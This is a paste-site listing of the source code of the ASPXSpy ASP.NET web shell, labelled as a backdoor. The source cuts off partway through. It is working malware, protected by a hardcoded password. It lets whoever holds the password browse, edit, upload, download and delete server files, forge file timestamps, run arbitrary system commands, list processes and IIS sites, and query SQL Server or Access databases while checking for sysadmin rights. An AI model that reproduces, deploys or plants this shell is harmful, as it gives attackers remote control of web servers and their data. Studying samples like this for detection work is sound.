Advertisement
FlyFar

Backdoor.ASP.Akspy.a - Source Code

Jun 26th, 2023
1,724
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASP 62.23 KB | Cybersecurity | 0 0
  1. <%@ Page Language="C#" Debug="true" trace="false" validateRequest="false"  %>
  2. <%@ import Namespace="System.IO" %>
  3. <%@ import Namespace="System.Diagnostics" %>
  4. <%@ import Namespace="System.Data" %>
  5. <%@ import Namespace="System.Data.OleDb" %>
  6. <%@ import Namespace="Microsoft.Win32" %>
  7. <%@ import Namespace="System.Net.Sockets" %>
  8. <%@ Assembly Name="System.DirectoryServices, Version=2.0.0.0, Culture=neutral, PublicKeyToken=B03F5F7F11D50A3A" %>
  9. <%@ import Namespace="System.DirectoryServices" %>
  10. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  11.  
  12. <script runat="server">
  13. /*
  14. Thanks Snailsor,FuYu
  15.  
  16. Code by Bin
  17.  
  18. Make in China
  19.  
  20. Blog: http://www.rootkit.net.cn
  21.  
  22. E-mail : master@rootkit.net.cn
  23. */
  24.     public string Password = "53bf1f511e5c6c85caf38fdc97ee4962";//PASS:admin
  25.     public string SessionName = "ASPXSpy";
  26.     public string Bin_Action = "";
  27.     public string Bin_Request = "";
  28.     protected OleDbConnection conn = new OleDbConnection();
  29.     protected OleDbCommand comm = new OleDbCommand();
  30.    
  31.     protected void Page_Load(object sender, EventArgs e)
  32.     {
  33.        
  34.         if (Session[SessionName] != "BIN")
  35.         {
  36.             Bin_login();
  37.         }
  38.         else
  39.         {
  40.             if (!IsPostBack)
  41.             {
  42.                 Bin_main();
  43.             }
  44.             else
  45.             {
  46.              
  47.                   Bin_Action = Request["goaction"];
  48.               if (Bin_Action == "del")
  49.               {
  50.                   Bin_Request = Request["todo"];
  51.                   Bin_Filedel(Bin_Request, 1);
  52.               }
  53.               if (Bin_Action == "change")
  54.               {
  55.                   Bin_Request = Request["todo"];
  56.                   Bin_FileList(Bin_Request);
  57.               }
  58.               if (Bin_Action == "deldir")
  59.               {
  60.                   Bin_Request = Request["todo"];
  61.                   Bin_Filedel(Bin_Request, 2);
  62.               }
  63.               if (Bin_Action == "down")
  64.               {
  65.                   Bin_Request = Request["todo"];
  66.                   Bin_Filedown(Bin_Request);
  67.               }
  68.               if (Bin_Action == "rename")
  69.               {
  70.                   Bin_Request = Request["todo"];
  71.                   Bin_FileRN(Bin_Request, 1);
  72.               }
  73.               if (Bin_Action == "renamedir")
  74.               {
  75.                   Bin_Request = Request["todo"];
  76.                   Bin_FileRN(Bin_Request, 2);
  77.               }
  78.               if (Bin_Action == "showatt")
  79.               {
  80.                   Bin_Request = Request["todo"];
  81.                   Bin_Fileatt(Bin_Request);
  82.               }
  83.               if (Bin_Action == "edit")
  84.               {
  85.                   Bin_Request = Request["todo"];
  86.                   Bin_FileEdit(Bin_Request);
  87.               }
  88.               if (Bin_Action == "postdata")
  89.               {
  90.                  
  91.                   Bin_Request = Request["todo"];
  92.                   Session["Bin_Table"] = Bin_Request;
  93.                   Bin_DataGrid.CurrentPageIndex = 0;
  94.                   Bin_DBstrTextBox.Text = "";
  95.                   Bin_Databind();
  96.               }
  97.               if (Bin_Action == "changedata")
  98.               {
  99.                   Session["Bin_Table"] = null;
  100.                   Bin_Request = Request["todo"];
  101.                   Session["Bin_Option"] = Request["intext"];
  102.                   Bin_Change();
  103.                   Bin_DBinfoLabel.Visible = false;
  104.                   Bin_DBstrTextBox.Text = Bin_Request;
  105.                  
  106.               }
  107.               if (Session["Bin_Table"] != null)
  108.               {
  109.                   Bin_Databind();
  110.               }
  111.                  
  112.             }
  113.         }
  114.     }
  115.     public void Bin_login()
  116.     {
  117.         Bin_LoginPanel.Visible = true;
  118.         Bin_MainPanel.Visible = false;
  119.         Bin_MenuPanel.Visible = false;
  120.         Bin_FilePanel.Visible = false;
  121.         Bin_CmdPanel.Visible = false;
  122.         Bin_SQLPanel.Visible = false;
  123.         Bin_SuPanel.Visible = false;
  124.         Bin_IISPanel.Visible = false;
  125.         Bin_PortPanel.Visible = false;
  126.         Bin_RegPanel.Visible = false;
  127.     }
  128.     public void Bin_main()
  129.     {
  130.         TimeLabel.Text = DateTime.Now.ToString();
  131.         Bin_PortPanel.Visible = false;
  132.         Bin_RegPanel.Visible = false;
  133.         Bin_LoginPanel.Visible = false;
  134.         Bin_MainPanel.Visible = true;
  135.         Bin_MenuPanel.Visible = true;
  136.         Bin_FilePanel.Visible = false;
  137.         Bin_CmdPanel.Visible = false;
  138.         Bin_SQLPanel.Visible = false;
  139.         Bin_SuPanel.Visible = false;
  140.         Bin_IISPanel.Visible = false;
  141.         string ServerIP = "Server IP : "+Request.ServerVariables["LOCAL_ADDR"]+"<br>";
  142.         string HostName = "HostName : " + Environment.MachineName + "<br>";
  143.         string OS = "OS Version : " + Environment.OSVersion + "</br>";
  144.         string IISversion = "IIS Version : " + Request.ServerVariables["SERVER_SOFTWARE"] + "<br>";
  145.         string PATH_INFO = "PATH_TRANSLATED : " + Request.ServerVariables["PATH_TRANSLATED"] + "<br>";
  146.         InfoLabel.Text = "<hr><center><b><U>SYS-INFO</U></B></center>";
  147.         InfoLabel.Text += ServerIP + HostName + OS + IISversion + PATH_INFO + "<hr>";
  148.         InfoLabel.Text += Bin_Process() + "<hr>";
  149.        
  150.     }
  151.     private bool CheckIsNumber(string sSrc)
  152.     {
  153.         System.Text.RegularExpressions.Regex reg = new System.Text.RegularExpressions.Regex(@"^0|[0-9]*[1-9][0-9]*$");
  154.  
  155.         if (reg.IsMatch(sSrc))
  156.         {
  157.             return true;
  158.         }
  159.         else
  160.         {
  161.             return false;
  162.         }
  163.     }
  164.     public string Bin_iisinfo()
  165.     {
  166.         string iisinfo = "";
  167.         string iisstart = "";
  168.         string iisend = "";
  169.         string iisstr = "IIS://localhost/W3SVC";
  170.         int i = 0;
  171.         try
  172.         {
  173.             DirectoryEntry mydir = new DirectoryEntry(iisstr);
  174.             iisstart = "<input type=hidden name=goaction><input type=hidden name=todo><TABLE width=100% align=center border=0><TR align=center><TD width=6%><B>Order</B></TD><TD width=20%><B>IIS_USER</B></TD><TD width=25%><B>Domain</B></TD><TD width=30%><B>Path</B></TD></TR>";
  175.             foreach (DirectoryEntry child in mydir.Children)
  176.             {
  177.                 if (CheckIsNumber(child.Name.ToString()))
  178.                 {
  179.                     string dirstr = child.Name.ToString();
  180.                     string tmpstr = "";
  181.                     DirectoryEntry newdir = new DirectoryEntry(iisstr + "/" + dirstr);
  182.                     DirectoryEntry newdir1 = newdir.Children.Find("root", "IIsWebVirtualDir");
  183.                     iisinfo += "<TR><TD align=center>" + (i = i + 1) + "</TD>";
  184.                     iisinfo += "<TD align=center>" + newdir1.Properties["AnonymousUserName"].Value + "</TD>";
  185.                     iisinfo += "<TD>" + child.Properties["ServerBindings"][0] + "</TD>";
  186.                     iisinfo += "<TD><a href=javascript:Command('change','" + formatpath(newdir1.Properties["Path"].Value.ToString()) + "');>" + newdir1.Properties["Path"].Value + "</a></TD>";
  187.                     iisinfo += "</TR>";
  188.                 }
  189.             }
  190.             iisend = "</TABLE><hr>";
  191.         }
  192.         catch (Exception error)
  193.         {
  194.             Bin_Error(error.Message);
  195.         }
  196.           return iisstart + iisinfo + iisend;
  197.     }
  198.     public string Bin_Process()
  199.     {
  200.         string htmlstr = "<center><b><U>PROCESS-INFO</U></B></center><TABLE width=80% align=center border=0><TR align=center><TD width=20%><B>ID</B></TD><TD align=left width=20%><B>Process</B></TD><TD align=left width=20%><B>MemorySize</B></TD><TD align=center width=10%><B>Threads</B></TD></TR>";
  201.             string prostr = "";
  202.             string htmlend = "</TR></TABLE>";
  203.             try
  204.             {
  205.                 Process[] myprocess = Process.GetProcesses();
  206.                 foreach (Process p in myprocess)
  207.                 {
  208.                     prostr += "<TR><TD align=center>" + p.Id.ToString() + "</TD>";
  209.                     prostr += "<TD align=left>" + p.ProcessName.ToString() + "</TD>";
  210.                     prostr += "<TD align=left>" + p.WorkingSet.ToString() + "</TD>";
  211.                     prostr += "<TD align=center>" + p.Threads.Count.ToString() + "</TD>";
  212.                 }
  213.             }
  214.             catch (Exception Error)
  215.             {
  216.                 Bin_Error(Error.Message);
  217.             }
  218.         return htmlstr + prostr + htmlend;
  219.     }
  220.     protected void LoginButton_Click(object sender, EventArgs e)
  221.     {
  222.         string MD5Pass = FormsAuthentication.HashPasswordForStoringInConfigFile(passtext.Text,"MD5").ToLower();
  223.         if (MD5Pass == Password)
  224.         {
  225.             Session[SessionName] = "BIN";
  226.             Bin_main();
  227.         }
  228.         else
  229.         {
  230.             Bin_login();
  231.         }
  232.     }
  233.  
  234.     protected void LogoutButton_Click(object sender, EventArgs e)
  235.     {
  236.         Session.Abandon();
  237.         Bin_login();
  238.     }
  239.  
  240.     protected void FileButton_Click(object sender, EventArgs e)
  241.     {
  242.         Bin_LoginPanel.Visible = false;
  243.         Bin_MenuPanel.Visible = true;
  244.         Bin_MainPanel.Visible = false;
  245.         Bin_FilePanel.Visible = true;
  246.         Bin_CmdPanel.Visible = false;
  247.         Bin_SQLPanel.Visible = false;
  248.         Bin_SuPanel.Visible = false;
  249.         Bin_IISPanel.Visible = false;
  250.         Bin_PortPanel.Visible = false;
  251.         Bin_RegPanel.Visible = false;
  252.         Bin_upTextBox.Text = formatpath(Server.MapPath("."));
  253.         Bin_CopyTextBox.Text = formatpath(Server.MapPath("."));
  254.         Bin_upTextBox.Text = formatpath(Server.MapPath("."));
  255.         Bin_FileList(Server.MapPath("."));
  256.        
  257.     }
  258.  
  259.     protected void MainButton_Click(object sender, EventArgs e)
  260.     {
  261.         Bin_main();
  262.     }
  263.     public void Bin_DriveList()
  264.     {
  265.         string file = "<input type=hidden name=goaction><input type=hidden name=todo>";
  266.         file += "<hr>Drives : ";
  267.         string[] drivers = Directory.GetLogicalDrives();
  268.         for (int i = 0; i < drivers.Length; i++)
  269.         {
  270.             file += "<a href=javascript:Command('change','" + formatpath(drivers[i]) + "');>" + drivers[i] + "</a>&nbsp;";
  271.         }
  272.         file += "    WebRoot :  <a href=javascript:Command('change','" + formatpath(Server.MapPath(".")) + "');>" + Server.MapPath(".") + "</a>";
  273.         Bin_FileLabel.Text = file;
  274.     }
  275.  
  276.     public void Bin_FileList(string Bin_path)
  277.     {
  278.         Bin_FilePanel.Visible = true;
  279.         Bin_CreateTextBox.Text = "";
  280.         Bin_CopytoTextBox.Text = "";
  281.         Bin_CopyTextBox.Text = Bin_path;
  282.         Bin_upTextBox.Text = Bin_path;
  283.         Bin_IISPanel.Visible = false;
  284.         Bin_DriveList();
  285.         string tmpstr="";
  286.         string Bin_Filelist = Bin_FilelistLabel.Text;
  287.         Bin_Filelist = "<hr>";
  288.         Bin_Filelist += "<table width=90% border=0 align=center>";
  289.         Bin_Filelist += "<tr><td width=40%><b>Name</b></td><td width=15%><b>Size(Byte)</b></td>";
  290.         Bin_Filelist += "<td width=25%><b>ModifyTime</b></td><td width=25%><b>Operate</b></td></tr>";
  291.         try
  292.         {
  293.             Bin_Filelist += "<tr><td>";
  294.             string parstr = "";
  295.             if (Bin_path.Length < 4)
  296.             {
  297.                 parstr = formatpath(Bin_path);
  298.              
  299.             }
  300.             else
  301.             {
  302.                 parstr =  formatpath(Directory.GetParent(Bin_path).ToString());
  303.              
  304.             }
  305.             Bin_Filelist += "<i><b><a href=javascript:Command('change','" + parstr + "');>|Parent Directory|</a></b></i>";
  306.             Bin_Filelist += "</td></tr>";
  307.            
  308.             DirectoryInfo Bin_dir = new DirectoryInfo(Bin_path);
  309.             foreach (DirectoryInfo Bin_folder in Bin_dir.GetDirectories())
  310.             {
  311.                 string foldername = formatpath(Bin_path) + "/" + formatfile(Bin_folder.Name);
  312.                 tmpstr += "<tr>";
  313.                 tmpstr += "<td><a href=javascript:Command('change','" + foldername + "')>" + Bin_folder.Name + "</a></td><td><b><i>&lt;dir&gt;</i></b></td><td>" + Directory.GetLastWriteTime(Bin_path + "/" + Bin_folder.Name) + "</td><td><a href=javascript:Command('renamedir','" + foldername + "');>Ren</a>|<a href=javascript:Command('showatt','" + foldername + "/');>Att</a>|<a href=javascript:Command('deldir','" + foldername + "');>Del</a></td>";
  314.                 tmpstr += "</tr>";
  315.             }
  316.             foreach (FileInfo Bin_file in Bin_dir.GetFiles())
  317.             {
  318.                 string filename = formatpath(Bin_path) + "/" + formatfile(Bin_file.Name);
  319.                 tmpstr += "<tr>";
  320.                 tmpstr += "<td>" + Bin_file.Name + "</td><td>" + Bin_file.Length + "</td><td>" + Directory.GetLastWriteTime(Bin_path + "/" + Bin_file.Name) + "</td><td><a href=javascript:Command('edit','" + filename + "');>Edit</a>|<a href=javascript:Command('rename','" + filename + "');>Ren</a>|<a href=javascript:Command('down','" + filename + "');>Down</a>|<a href=javascript:Command('showatt','" + filename + "');>Att</a>|<a href=javascript:Command('del','" + filename + "');>Del</a></td>";
  321.                 tmpstr += "</tr>";
  322.             }
  323.             tmpstr += "</talbe>";
  324.         }
  325.         catch (Exception Error)
  326.         {
  327.             Bin_Error(Error.Message);
  328.  
  329.         }
  330.  
  331.         Bin_FilelistLabel.Text = Bin_Filelist + tmpstr;
  332.     }
  333.     public void Bin_Filedel(string instr,int type)
  334.     {
  335.         try
  336.         {
  337.             if (type == 1)
  338.             {
  339.                 File.Delete(instr);
  340.             }
  341.             if (type == 2)
  342.             {
  343.                 foreach (string tmp in Directory.GetFileSystemEntries(instr))
  344.                 {
  345.                     if (File.Exists(tmp))
  346.                     {
  347.                         File.Delete(tmp);
  348.                     }
  349.                     else
  350.                     {
  351.                         Bin_Filedel(tmp, 2);
  352.                     }  
  353.                 }
  354.                 Directory.Delete(instr);  
  355.             }
  356.         }
  357.         catch (Exception Error)
  358.         {
  359.             Bin_Error(Error.Message);
  360.         }
  361.         Bin_FileList(Bin_upTextBox.Text);
  362.     }
  363.     public void Bin_FileRN(string instr,int type)
  364.     {
  365.         try
  366.         {
  367.             if (type == 1)
  368.             {
  369.                 string[] array = instr.Split(',');
  370.  
  371.                 File.Move(array[0], array[1]);
  372.             }
  373.             if (type == 2)
  374.             {
  375.                 string[] array = instr.Split(',');
  376.                 Directory.Move(array[0], array[1]);
  377.             }
  378.         }
  379.         catch (Exception Error)
  380.         {
  381.             Bin_Error(Error.Message);
  382.         }
  383.         Bin_FileList(Bin_upTextBox.Text);
  384.     }
  385.     public void Bin_Filedown(string instr)
  386.     {
  387.         try
  388.         {
  389.             FileStream MyFileStream = new FileStream(instr, FileMode.Open, FileAccess.Read, FileShare.Read);
  390.             long FileSize = MyFileStream.Length;
  391.             byte[] Buffer = new byte[(int)FileSize];
  392.             MyFileStream.Read(Buffer, 0, (int)FileSize);
  393.             MyFileStream.Close();
  394.             Response.AddHeader("Content-Disposition", "attachment;filename=" + instr);
  395.             Response.Charset = "UTF-8";
  396.             Response.ContentType = "application/octet-stream";
  397.             Response.BinaryWrite(Buffer);
  398.             Response.Flush();
  399.             Response.End();
  400.         }
  401.         catch (Exception Error)
  402.         {
  403.             Bin_Error(Error.Message);
  404.         }
  405.        
  406.     }
  407.     public void Bin_Fileatt(string instr)
  408.     {
  409.         Bin_AttPanel.Visible = true;
  410.         Bin_FilePanel.Visible = true;
  411.         try
  412.         {
  413.             string Att = File.GetAttributes(instr).ToString();
  414.             Bin_ReadOnlyCheckBox.Checked = false;
  415.             Bin_SystemCheckBox.Checked = false;
  416.             Bin_HiddenCheckBox.Checked = false;
  417.             Bin_ArchiveCheckBox.Checked = false;
  418.  
  419.             if (Att.LastIndexOf("ReadOnly") != -1)
  420.             {
  421.                 Bin_ReadOnlyCheckBox.Checked = true;
  422.             }
  423.             if (Att.LastIndexOf("System") != -1)
  424.             {
  425.                 Bin_SystemCheckBox.Checked = true;
  426.             }
  427.             if (Att.LastIndexOf("Hidden") != -1)
  428.             {
  429.                 Bin_HiddenCheckBox.Checked = true;
  430.             }
  431.             if (Att.LastIndexOf("Archive") != -1)
  432.             {
  433.                 Bin_ArchiveCheckBox.Checked = true;
  434.             }
  435.             Bin_CreationTimeTextBox.Text = File.GetCreationTime(instr).ToString();
  436.             Bin_LastWriteTimeTextBox.Text = File.GetLastWriteTime(instr).ToString();
  437.             Bin_AccessTimeTextBox.Text = File.GetLastAccessTime(instr).ToString();
  438.         }
  439.         catch (Exception Error)
  440.         {
  441.             Bin_Error(Error.Message);
  442.         }
  443.         Bin_AttLabel.Text = instr;
  444.         Session["FileName"] = instr;
  445.         Bin_DriveList();
  446.     }
  447.     public void Bin_FileEdit(string instr)
  448.     {
  449.         Bin_FilePanel.Visible = true;
  450.         Bin_EditPanel.Visible = true;
  451.         Bin_DriveList();
  452.         Bin_EditpathTextBox.Text = instr;
  453.         StreamReader SR = new StreamReader(instr, Encoding.Default);
  454.         Bin_EditTextBox.Text = SR.ReadToEnd();
  455.         SR.Close();
  456.     }
  457.     protected void Bin_upButton_Click(object sender, EventArgs e)
  458.     {
  459.        
  460.             string uppath = Bin_upTextBox.Text;
  461.             if (uppath.Substring(uppath.Length - 1, 1) != @"/")
  462.             {
  463.                 uppath = uppath + @"/";
  464.             }
  465.             try
  466.             {
  467.                 Bin_UpFile.PostedFile.SaveAs(uppath + Path.GetFileName(Bin_UpFile.Value));
  468.                
  469.             }
  470.             catch (Exception error)
  471.             {
  472.                 Bin_Error(error.Message);
  473.             }
  474.             Bin_FileList(uppath);
  475.     }
  476.     public void Bin_Error(string error)
  477.     {
  478.         Bin_ErrorLabel.Text = "Error : " + error;
  479.     }
  480.     public string formatpath(string instr)
  481.     {
  482.         instr = instr.Replace(@"\", "/");
  483.         if (instr.Length < 4)
  484.         {
  485.             instr = instr.Replace(@"/", "");
  486.         }
  487.         if (instr.Length == 2)
  488.         {
  489.             instr = instr + @"/";
  490.         }
  491.         instr = instr.Replace(" ", "%20");
  492.         return instr;
  493.     }
  494.     public string formatfile(string instr)
  495.     {
  496.         instr = instr.Replace(" ", "%20");
  497.         return instr;
  498.      
  499.     }
  500.     protected void Bin_GoButton_Click(object sender, EventArgs e)
  501.     {
  502.         Bin_FileList(Bin_upTextBox.Text);
  503.     }
  504.  
  505.     protected void Bin_NewFileButton_Click(object sender, EventArgs e)
  506.     {
  507.         string newfile = Bin_CreateTextBox.Text;
  508.         string filepath = Bin_upTextBox.Text;
  509.         filepath = filepath + "/" + newfile;
  510.         try
  511.         {
  512.             StreamWriter sw = new StreamWriter(filepath, true, Encoding.Default);
  513.            
  514.         }
  515.         catch (Exception Error)
  516.         {
  517.             Bin_Error(Error.Message);
  518.         }
  519.         Bin_FileList(Bin_upTextBox.Text);
  520.     }
  521.  
  522.     protected void Bin_NewdirButton_Click(object sender, EventArgs e)
  523.     {
  524.         string dirpath = Bin_upTextBox.Text;
  525.         string newdir = Bin_CreateTextBox.Text;
  526.         newdir = dirpath + "/" + newdir;
  527.         try
  528.         {
  529.             Directory.CreateDirectory(newdir);
  530.            
  531.         }
  532.         catch(Exception Error)
  533.         {
  534.             Bin_Error(Error.Message);
  535.         }
  536.         Bin_FileList(Bin_upTextBox.Text);
  537.     }
  538.  
  539.     protected void Bin_CopyButton_Click(object sender, EventArgs e)
  540.     {
  541.         string copystr = Bin_CopyTextBox.Text;
  542.         string copyto = Bin_CopytoTextBox.Text;
  543.         try
  544.         {
  545.             File.Copy(copystr, copyto);
  546.         }
  547.         catch (Exception Error)
  548.         {
  549.              Bin_Error(Error.Message);
  550.         }
  551.         Bin_CopytoTextBox.Text = "";
  552.         Bin_FileList(Bin_upTextBox.Text);
  553.     }
  554.  
  555.     protected void Bin_CutButton_Click(object sender, EventArgs e)
  556.     {
  557.         string copystr = Bin_CopyTextBox.Text;
  558.         string copyto = Bin_CopytoTextBox.Text;
  559.         try
  560.         {
  561.             File.Move(copystr, copyto);
  562.         }
  563.         catch (Exception Error)
  564.         {
  565.             Bin_Error(Error.Message);
  566.         }
  567.         Bin_CopytoTextBox.Text = "";
  568.         Bin_FileList(Bin_upTextBox.Text);
  569.     }
  570.  
  571.     protected void Bin_SetButton_Click(object sender, EventArgs e)
  572.     {
  573.         try
  574.         {
  575.             string FileName = Session["FileName"].ToString();
  576.             File.SetAttributes(FileName, FileAttributes.Normal);
  577.             if (Bin_ReadOnlyCheckBox.Checked)
  578.             {
  579.                 File.SetAttributes(FileName, FileAttributes.ReadOnly);
  580.             }
  581.  
  582.             if (Bin_SystemCheckBox.Checked)
  583.             {
  584.                 File.SetAttributes(FileName, File.GetAttributes(FileName) | FileAttributes.System);
  585.             }
  586.             if (Bin_HiddenCheckBox.Checked)
  587.             {
  588.                 File.SetAttributes(FileName, File.GetAttributes(FileName) | FileAttributes.Hidden);
  589.             }
  590.             if (Bin_ArchiveCheckBox.Checked)
  591.             {
  592.                 File.SetAttributes(FileName, File.GetAttributes(FileName) | FileAttributes.Archive);
  593.             }
  594.             if (FileName.Substring(FileName.Length - 1, 1) == "/")
  595.             {
  596.                 Directory.SetCreationTime(FileName, Convert.ToDateTime(Bin_CreationTimeTextBox.Text));
  597.                 Directory.SetLastWriteTime(FileName, Convert.ToDateTime(Bin_LastWriteTimeTextBox.Text));
  598.                 Directory.SetLastAccessTime(FileName, Convert.ToDateTime(Bin_AccessTimeTextBox.Text));
  599.             }
  600.             else
  601.             {
  602.                 File.SetCreationTime(FileName, Convert.ToDateTime(Bin_CreationTimeTextBox.Text));
  603.                 File.SetLastWriteTime(FileName, Convert.ToDateTime(Bin_LastWriteTimeTextBox.Text));
  604.                 File.SetLastAccessTime(FileName, Convert.ToDateTime(Bin_AccessTimeTextBox.Text));
  605.             }
  606.         }
  607.         catch (Exception Error)
  608.         {
  609.             Bin_Error(Error.Message);
  610.         }
  611.         Bin_FileList(Bin_upTextBox.Text);
  612.         Response.Write("<script>alert('Success!')</sc" + "ript>");
  613.     }
  614.  
  615.     protected void Bin_EditButton_Click(object sender, EventArgs e)
  616.     {
  617.         try
  618.         {
  619.             StreamWriter SW = new StreamWriter(Bin_EditpathTextBox.Text, false, Encoding.Default);
  620.             SW.Write(Bin_EditTextBox.Text);
  621.             SW.Close();
  622.         }
  623.         catch (Exception Error)
  624.         {
  625.             Bin_Error(Error.Message);
  626.         }
  627.         Bin_FileList(Bin_upTextBox.Text);
  628.         Response.Write("<script>alert('Success!')</sc" + "ript>");
  629.        
  630.     }
  631.    
  632.     protected void Bin_BackButton_Click(object sender, EventArgs e)
  633.     {
  634.         Bin_FileList(Bin_upTextBox.Text);
  635.     }
  636.  
  637.     protected void Bin_SbackButton_Click(object sender, EventArgs e)
  638.     {
  639.         Bin_FileList(Bin_upTextBox.Text);
  640.     }
  641.  
  642.     protected void Bin_CmdButton_Click(object sender, EventArgs e)
  643.     {
  644.         Bin_MenuPanel.Visible = true;
  645.         Bin_LoginPanel.Visible = false;
  646.         Bin_CmdPanel.Visible = true;
  647.         Bin_SQLPanel.Visible = false;
  648.         Bin_CmdLabel.Text = "";
  649.         Bin_SuPanel.Visible = false;
  650.         Bin_IISPanel.Visible = false;
  651.         Bin_RegPanel.Visible = false;
  652.         Bin_PortPanel.Visible = false;
  653.     }
  654.  
  655.     protected void Bin_RunButton_Click(object sender, EventArgs e)
  656.     {
  657.         try
  658.         {
  659.             Process Cmdpro = new Process();
  660.             Cmdpro.StartInfo.FileName = Bin_CmdPathTextBox.Text;
  661.             Cmdpro.StartInfo.Arguments = Bin_CmdShellTextBox.Text;
  662.             Cmdpro.StartInfo.UseShellExecute = false;
  663.             Cmdpro.StartInfo.RedirectStandardInput = true;
  664.             Cmdpro.StartInfo.RedirectStandardOutput = true;
  665.             Cmdpro.StartInfo.RedirectStandardError = true;
  666.             Cmdpro.Start();
  667.             string cmdstr = Cmdpro.StandardOutput.ReadToEnd();
  668.             cmdstr = cmdstr.Replace("<", "&lt;");
  669.             cmdstr = cmdstr.Replace(">", "&gt;");
  670.             Bin_CmdLabel.Text = "<hr><div id=\"cmd\"><pre>" + cmdstr + "</pre></div>";
  671.         }
  672.         catch (Exception Error)
  673.         {
  674.             Bin_Error(Error.Message);
  675.         }  
  676.     }
  677.  
  678.     protected void Bin_SQLButton_Click(object sender, EventArgs e)
  679.     {
  680.         Bin_CmdPanel.Visible = false;
  681.         Bin_SQLPanel.Visible = true;
  682.         Bin_LoginPanel.Visible = false;
  683.         Bin_MenuPanel.Visible = true;
  684.         Bin_AccPanel.Visible = false;
  685.         Bin_Scroll.Visible = false;
  686.         Bin_DBmenuPanel.Visible = false;
  687.         Bin_dirPanel.Visible = false;
  688.         Bin_SuPanel.Visible = false;
  689.         Bin_IISPanel.Visible = false;
  690.         Bin_PortPanel.Visible = false;
  691.         Bin_RegPanel.Visible =false;
  692.     }
  693.  
  694.     protected void Bin_SQLRadioButton_CheckedChanged(object sender, EventArgs e)
  695.     {
  696.         Session["Bin_Table"] = null;
  697.         Bin_SQLconnTextBox.Text = "server=localhost;UID=sa;PWD=;database=master;Provider=SQLOLEDB";
  698.         Bin_SQLRadioButton.Checked = true;
  699.         Bin_AccRadioButton.Checked = false;
  700.         Bin_AccPanel.Visible = false;
  701.         Bin_DataGrid.Visible = false;
  702.         Bin_Scroll.Visible = false;
  703.         Bin_DBmenuPanel.Visible = false;
  704.         Bin_dirPanel.Visible = false;
  705.     }
  706.  
  707.     protected void Bin_AccRadioButton_CheckedChanged(object sender, EventArgs e)
  708.     {
  709.         Session["Bin_Table"] = null;
  710.         Bin_SQLconnTextBox.Text = @"Provider=Microsoft.Jet.OLEDB.4.0;Data Source=E:\wwwroot\database.mdb";
  711.         Bin_SQLRadioButton.Checked = false;
  712.         Bin_AccRadioButton.Checked = true;
  713.         Bin_DBmenuPanel.Visible = false;
  714.         Bin_AccPanel.Visible = false;
  715.         Bin_DataGrid.Visible = false;
  716.         Bin_Scroll.Visible = false;
  717.         Bin_dirPanel.Visible = false;
  718.      
  719.     }
  720.     protected void OpenConnection()
  721.     {
  722.         if (conn.State == ConnectionState.Closed)
  723.         {
  724.             try
  725.             {
  726.                 conn.ConnectionString = Bin_SQLconnTextBox.Text;
  727.                 comm.Connection = conn;
  728.                 conn.Open();
  729.             }
  730.             catch (Exception Error)
  731.             {
  732.                 Bin_Error(Error.Message);
  733.             }
  734.         }
  735.     }
  736.     protected void CloseConnection()
  737.     {
  738.         if (conn.State == ConnectionState.Open)
  739.             conn.Close();
  740.             conn.Dispose();
  741.             comm.Dispose();
  742.     }
  743.     public DataTable Bin_DataTable(string sqlstr)
  744.     {
  745.         OleDbDataAdapter da = new OleDbDataAdapter();
  746.         DataTable datatable = new DataTable();
  747.         try
  748.         {
  749.             OpenConnection();
  750.             comm.CommandType = CommandType.Text;
  751.             comm.CommandText = sqlstr;
  752.             da.SelectCommand = comm;
  753.             da.Fill(datatable);
  754.         }
  755.         catch (Exception)
  756.         {
  757.         }
  758.         finally
  759.         {
  760.             CloseConnection();
  761.         }
  762.         return datatable;
  763.     }
  764.     protected void SQL_SumbitButton_Click(object sender, EventArgs e)
  765.     {
  766.         try
  767.         {
  768.             Session["Bin_Table"] = null;
  769.             Bin_DataGrid.CurrentPageIndex = 0;
  770.             Bin_DataGrid.AllowPaging = true;
  771.             if (Bin_SQLRadioButton.Checked)
  772.             {
  773.                 Bin_DBmenuPanel.Visible = true;
  774.                 Bin_DBinfoLabel.Visible = true;
  775.                 Bin_AccPanel.Visible = false;
  776.                 Bin_Scroll.Visible = false;
  777.                 Bin_dirPanel.Visible = false;
  778.                 OpenConnection();
  779.                 DataTable ver = Bin_DataTable(@"SELECT @@VERSION");
  780.                 DataTable dbs = Bin_DataTable(@"SELECT name FROM master.dbo.sysdatabases");
  781.                 DataTable cdb = Bin_DataTable(@"SELECT DB_NAME()");
  782.                 DataTable rol = Bin_DataTable(@"SELECT IS_SRVROLEMEMBER('sysadmin')");
  783.                 DataTable owner = Bin_DataTable(@"SELECT IS_MEMBER('db_owner')");
  784.                 string dbo = "";
  785.                 if (owner.Rows[0][0].ToString() == "1")
  786.                 {
  787.                     dbo = "db_owner";
  788.                 }
  789.                 else
  790.                 {
  791.                     dbo = "public";
  792.                 }
  793.                 if (rol.Rows[0][0].ToString() == "1")
  794.                 {
  795.                     dbo = "<font color=blue>sa</font>";
  796.                 }
  797.                 string db_info = "";
  798.                 db_info = "<i><b><font color=red>SQLversion</font> : </b></i>" + ver.Rows[0][0].ToString() + "<br><hr>";
  799.                 string db_name = "";
  800.                 for (int i = 0; i < dbs.Rows.Count; i++)
  801.                 {
  802.                     db_name += dbs.Rows[i][0].ToString().Replace(cdb.Rows[0][0].ToString(), "<font color=blue>" + cdb.Rows[0][0].ToString() + "</font>") + "&nbsp;|&nbsp;";
  803.                 }
  804.                 db_info += "<i><b><font color=red>DataBase</font> : </b></i><div style=\"width:760px;word-break:break-all\">" + db_name + "<br><div><hr>";
  805.                 db_info += "<i><b><font color=red>SRVROLEMEMBER</font></i></b> : " + dbo + "<hr>";
  806.                 Bin_DBinfoLabel.Text = db_info;
  807.             }
  808.             if (Bin_AccRadioButton.Checked)
  809.             {
  810.                 Bin_DataGrid.Visible = false;
  811.                 Bin_SAexecButton.Visible = false;
  812.                 Bin_Accbind();
  813.             }
  814.         }
  815.         catch (Exception E)
  816.         {
  817.             Bin_Error(E.Message);
  818.         }
  819.     }
  820.     protected void Bin_Accbind()
  821.     {
  822.         try
  823.         {
  824.             Bin_DBmenuPanel.Visible = false;
  825.             Bin_AccPanel.Visible = true;
  826.             OpenConnection();
  827.             DataTable acctable = new DataTable();
  828.             acctable = conn.GetOleDbSchemaTable(OleDbSchemaGuid.Tables, new Object[] { null, null, null, "Table" });
  829.             string accstr = "<input type=hidden name=goaction><input type=hidden name=todo>";
